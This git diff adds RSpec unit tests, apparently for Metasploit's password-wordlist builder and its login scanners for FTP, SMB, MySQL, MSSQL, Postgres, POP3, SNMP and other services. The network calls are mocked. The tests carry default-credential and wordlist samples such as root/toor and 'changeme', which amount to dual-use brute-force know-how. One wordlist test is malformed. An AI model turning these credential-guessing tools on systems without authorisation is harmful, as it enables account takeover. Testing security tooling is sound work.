expect(wordlist.errors[:use_hostnames]).to include "must be true or false" + end + end + + describe '#valid!' do + it 'raises an InvalidWordlist exception if not valid?' do + expect{ wordlist.valid! }.to raise_error Metasploit::Framework::JtR::InvalidWordlist + end + end + + describe '#expanded_words' do + it 'yields all the possible component words in the string' do + expect { |b| wordlist.expanded_words(expansion_word,&b) }.to yield_successive_args('Foo','bar','baz','bat','bam','foo','bar') + end + end + + describe '#each_custom_word' do + it 'yields each word in that wordlist' do + wordlist.custom_wordlist = custom_wordlist + expect{ |b| wordlist.each_custom_word(&b) }.to yield_successive_args('foo', 'bar','baz') + end + end + + describe '#each_root_word' do + it 'yields each word in the common_roots.txt list' do + expect(wordlist).to receive(:common_root_words_path).and_return common_root_path + expect { |b| wordlist.each_root_word(&b) }.to yield_successive_args('password', 'root', 'toor') + end + end + + describe '#each_default_word' do + it 'yields each word in the passwords.lst list' do + expect(wordlist).to receive(:default_wordlist_path).and_return default_wordlist_path + expect { |b| wordlist.each_default_word(&b) }.to yield_successive_args('changeme', 'summer123', 'admin') + end + end + + define '#each_cred_word' do + it 'yields each username,password,and realm in the database' do + expect{ |b| wordlist.each_cred_word(&b) }.to yield_successive_args(password.data, public,username, realm,value) + end + end + + describe '#mutate_word' do + it 'returns an array with all possible mutations of the word' do + expect(wordlist.mutate_word(mutate_me)).to eq mutants + end + end + + describe '#each_mutated_word' do + it 'yields each unique mutated word if mutate set to true' do + wordlist.mutate = true + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_successive_args(*mutants) + end + + it 'yields the original word if mutate set to true' do + wordlist.mutate = false + expect { |b| wordlist.each_mutated_word(mutate_me,&b)}.to yield_with_args(mutate_me) + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb new file mode 100644 index 0000000000..2fc30ea51f --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -0,0 +1,59 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/afp' + +describe Metasploit::Framework::LoginScanner::AFP do + + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + it { should respond_to :login_timeout } + + describe "#attempt_login" do + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "considers :skip_user to mean failure" do + expect(scanner).to receive(:connect) + expect(scanner).to receive(:login).and_return(:skip_user) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb new file mode 100644 index 0000000000..e75465609e --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/axis2' + +describe Metasploit::Framework::LoginScanner::Axis2 do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { scanner.method = "GET" }.to raise_error(RuntimeError) + expect(scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb new file mode 100644 index 0000000000..531d788a2d --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -0,0 +1,44 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/db2' + +describe Metasploit::Framework::LoginScanner::DB2 do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:test_cred) { + Metasploit::Framework::Credential.new( public: public, private: private ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context '#attempt_login' do + + context 'when the socket errors' do + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionError.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Timeout::Error.new.to_s + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb new file mode 100644 index 0000000000..326667e641 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -0,0 +1,134 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ftp' + +describe Metasploit::Framework::LoginScanner::FTP do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ftp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + + context 'validations' do + context 'ftp_timeout' do + + it 'defaults to 16' do + expect(ftp_scanner.ftp_timeout).to eq 16 + end + + it 'is not valid for a non-number' do + ftp_scanner.ftp_timeout = "a" + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + ftp_scanner.ftp_timeout = 5.76 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + ftp_scanner.ftp_timeout = -8 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + ftp_scanner.ftp_timeout = 0 + expect(ftp_scanner).to_not be_valid + expect(ftp_scanner.errors[:ftp_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + ftp_scanner.ftp_timeout = rand(1000) + 1 + expect(ftp_scanner.errors[:ftp_timeout]).to be_empty + end + end + + + end + + context '#attempt_login' do + before(:each) do + ftp_scanner.host = '127.0.0.1' + ftp_scanner.port = 21 + ftp_scanner.connection_timeout = 30 + ftp_scanner.ftp_timeout = 16 + ftp_scanner.stop_on_success = true + ftp_scanner.cred_details = detail_group + end + + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error } + expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + end + + context 'when it succeeds' do + + + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/http_spec.rb b/spec/lib/metasploit/framework/login_scanner/http_spec.rb new file mode 100644 index 0000000000..e0065623f6 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/http_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/http' + +describe Metasploit::Framework::LoginScanner::HTTP do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb new file mode 100644 index 0000000000..1db6b7f4cf --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/invalid' + +describe Metasploit::Framework::LoginScanner::Invalid do + + subject(:invalid) do + described_class.new(model) + end + + let(:model) do + model_class.new + end + + let(:model_class) do + Class.new do + include ActiveModel::Validations + end + end + + it { should be_a StandardError } + + it 'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb new file mode 100644 index 0000000000..f419105c05 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -0,0 +1,93 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mssql' + +describe Metasploit::Framework::LoginScanner::MSSQL do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + + it { should respond_to :windows_authentication } + + context 'validations' do + context '#windows_authentication' do + it 'is not valid for the string true' do + login_scanner.windows_authentication = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.windows_authentication = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.windows_authentication = true + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + + it 'is valid for false class' do + login_scanner.windows_authentication = false + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + end + end + + context '#attempt_login' do + context 'when the is a connection error' do + it 'returns a result with the connection_error status' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return false + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return true + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb new file mode 100644 index 0000000000..6bc5a3df61 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mysql' + +describe Metasploit::Framework::LoginScanner::MySQL do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context '#attempt_login' do + + context 'when the attempt is successful' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + ::RbMysql.should_receive(:connect).and_return "fake mysql handle" + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when the attempt is unsuccessful' do + context 'due to connection refused' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).proof).to eq "Connection refused" + end + end + + context 'due to connection timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).proof).to eq "Connection timeout" + end + end + + context 'due to operation timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).proof).to eq "Operation Timed out" + end + end + + context 'due to not being allowed to connect from this host' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).proof).to eq "Unable to login from this host due to policy" + end + end + + context 'due to access denied' do + it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).proof).to eq "Access Denied" + end + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb new file mode 100644 index 0000000000..ccefb2b97e --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -0,0 +1,82 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/pop3' + +describe Metasploit::Framework::LoginScanner::POP3 do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "Open Connection" do + let(:sock) {double('socket')} + + before(:each) do + sock.stub(:shutdown) + sock.stub(:close) + sock.stub(:closed?) + expect(scanner).to receive(:connect) + scanner.stub(:sock).and_return(sock) + scanner.should_receive(:select).with([sock],nil,nil,0.4) + end + + it "Server returns +OK" do + expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") + expect(sock).to receive(:put).with("USER public\r\n").once.ordered + expect(sock).to receive(:put).with("PASS \r\n").once.ordered + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + + end + + it "Server Returns Something Else" do + sock.stub(:get_once).and_return("+ERROR") + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + expect(result.proof).to eq("+ERROR") + + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb new file mode 100644 index 0000000000..029f07c642 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -0,0 +1,75 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/postgres' + +describe Metasploit::Framework::LoginScanner::Postgres do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'template1' } + + let(:full_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm + ) + } + + let(:cred_no_realm) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + + context '#attempt_login' do + context 'when the login is successful' do + it 'returns a result object with a status of success' do + fake_conn = "fake_connection" + Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn + fake_conn.should_receive(:close) + expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when there is no realm on the credential' do + it 'uses template1 as the default realm' do + Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:') + login_scanner.attempt_login(cred_no_realm) + end + end + + context 'when the realm is invalid but the rest of the credential is not' do + it 'includes the details in the result proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "C3D000, Creds were good but database was bad" + end + end + + context 'when the username or password is invalid' do + it 'includes a message in proof, indicating why it failed' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "Invalid username or password" + end + end + + context 'when any other type of error occurs' do + it 'returns a failure with the error message in the proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "unknown error" + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb new file mode 100644 index 0000000000..592f78daf4 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' + +describe Metasploit::Framework::LoginScanner::Result do + + let(:private) { 'toor' } + let(:proof) { 'foobar' } + let(:public) { 'root' } + let(:realm) { nil } + let(:status) { Metasploit::Model::Login::Status::SUCCESSFUL } + let(:cred) { + Metasploit::Framework::Credential.new(public: public, private: private, realm: realm, paired: true) + } + + subject(:login_result) { + described_class.new( + credential: cred, + proof: proof, + status: status + ) + } + + it { should respond_to :access_level } + it { should respond_to :credential } + it { should respond_to :proof } + it { should respond_to :status } + it { should respond_to :success? } + + context '#success?' do + context 'when the status code is success' do + it 'returns true' do + expect(login_result.success?).to be_true + end + end + + context 'when the status code is anything else' do + let(:status) { :connection_error } + it 'returns false' do + expect(login_result.success?).to be_false + end + end + end + + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb new file mode 100644 index 0000000000..27ffff08ad --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -0,0 +1,157 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/smb' + +describe Metasploit::Framework::LoginScanner::SMB do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + + it { should respond_to :smb_chunk_size } + it { should respond_to :smb_name } + it { should respond_to :smb_native_lm } + it { should respond_to :smb_native_os } + it { should respond_to :smb_obscure_trans_pipe_level } + it { should respond_to :smb_pad_data_level } + it { should respond_to :smb_pad_file_level } + it { should respond_to :smb_pipe_evasion } + + context 'validations' do + context '#smb_verify_signature' do + it 'is not valid for the string true' do + login_scanner.smb_verify_signature = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.smb_verify_signature = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.smb_verify_signature = true + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + + it 'is valid for false class' do + login_scanner.smb_verify_signature = false + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + end + end + + context '#attempt_login' do + before(:each) do + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + end + context 'when there is a connection error' do + it 'returns a result with the connection_error status' do + login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the credentials are correct, but we cannot login' do + [ + 0xC000006E, # => "STATUS_ACCOUNT_RESTRICTION", + 0xC000006F, # => "STATUS_INVALID_LOGON_HOURS", + 0xC0000070, # => "STATUS_INVALID_WORKSTATION", + 0xC0000071, # => "STATUS_PASSWORD_EXPIRED", + 0xC0000072, # => "STATUS_ACCOUNT_DISABLED", + 0xC000015B, # => "STATUS_LOGON_TYPE_NOT_GRANTED", + 0xC0000193, # => "STATUS_ACCOUNT_EXPIRED", + 0xC0000224, # => "STATUS_PASSWORD_MUST_CHANGE", + ].each do |code| + it "returns a DENIED_ACCESS status" do + exception = Rex::Proto::SMB::Exceptions::LoginError.new + exception.error_code = code + + login_scanner.stub_chain(:simple, :login).and_raise exception + login_scanner.stub_chain(:simple, :connect) + login_scanner.stub_chain(:simple, :disconnect) + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS + end + end + + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + login_scanner.stub_chain(:simple, :login).and_return false + login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + context 'and the user is local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + login_scanner.simple.stub(:disconnect) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR + end + end + + context 'and the user is NOT local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise( + # STATUS_ACCESS_DENIED + Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022} + ) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR + end + end + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb new file mode 100644 index 0000000000..95c4d85cd8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/snmp' + +describe Metasploit::Framework::LoginScanner::SNMP do + let(:public) { 'public' } + let(:private) { nil } + + let(:pub_comm) { + Metasploit::Framework::Credential.new( + paired: false, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_comm ] + } + + subject(:snmp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + context '#attempt_login' do + before(:each) do + snmp_scanner.host = '127.0.0.1' + snmp_scanner.port = 161 + 